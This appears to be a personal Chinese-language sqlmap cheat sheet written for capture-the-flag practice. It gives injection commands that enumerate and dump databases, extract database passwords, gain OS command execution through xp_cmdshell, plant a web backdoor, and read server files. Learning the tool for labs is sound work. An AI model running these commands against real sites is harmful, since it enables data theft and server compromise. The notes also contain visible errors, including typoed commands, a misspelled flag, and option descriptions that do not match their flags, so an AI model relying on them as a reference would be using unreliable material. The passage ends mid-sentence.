sqlmap使用指北
常用语句
扫描
1 | python sqlmap.py -u “网站” |
查询当前数据库下的所有数据库
1 | python sqlmap.py "网站" -dbs |
判断文件是否存在注入
1 | python sqlmap.py -r 文件名(文件名要有正确的路径) |
获取数据库中的表名
1 | python sqlmap.py -u "网站" -D 数据库 --tables |
获取表中的字段名
1 | python sqlmap.py -u "网站" -D 数据库 -T 表名 --columns |
获取字段类容
1 | python sqlmap.py -u "网站" -D 数据库 -T 表名 -C 字段名 --dump |
获取数据库密码
1 | python sqlmap.py -u "网站" --passwords |
获取当前数据库网站的名称
1 | python sqlmap,py -u "网址" --current-db |
获取当前网站数据库用户名称
1 | python sqlmap,py -u "网址" --current-user |
level等级
总共有1-5共计5个等级,套测等级越高,使用时间越长,GET和POST的数据都会进行测试,HTTP cookies在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试
进阶版(都还没试过)
1 | --is-dba |
查看是不是管理员权限
1 | --rolas |
列出数据库管理员角色
1 | --referer |
查看数据库用户的角色
P.S.
- SQLMap可以在请求中伪造HTTP中的referer,
当–level参数设定为3或3以上时;
会尝试对referer注入。可以使用referer命令来欺骗
(还没试过,等遇到题试试去)
1 | --sql-shell |
执行指定的sql语句
1 | --os-cmd,--os-shell |
在数据库为MySOL、PostgreSOL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,如果数据库为MySQL、PostgreSQL,SQLMap上传一个二进制库,包含用户自定义的函数sys exec)和sys eval,那么创建的这两个函数就可以执行系统命令。在Microsoft SQL Server中,SQLMap将使用xp cmdshell存储过程,如果被禁用(在MicrosoftSQLServer2005及以上版本默认被禁制),则SQLMap会重新启用它;如果不存在,会自动创建。
用–os-shell参数可以模拟一个真实的Shell,输入想执行的命令。当不能执行多语句时(比如PHP或ASP的后端数据库为MySQL),仍然可以使用INTO OUTFILE写进可写目录,创建一个Web后门。–os-shell支持ASP、ASP.NET、JSP和PHP四种语言(要想执行改参数,需要有数据库管理员权限,也就是–is-dba的值要为True)。
1 | --file-read |
该命令用于读取执行文件,当数据库为MySQL、PostgreSQL或Microsoft SQLServer,并且当前用户有权限使用特定的函数时






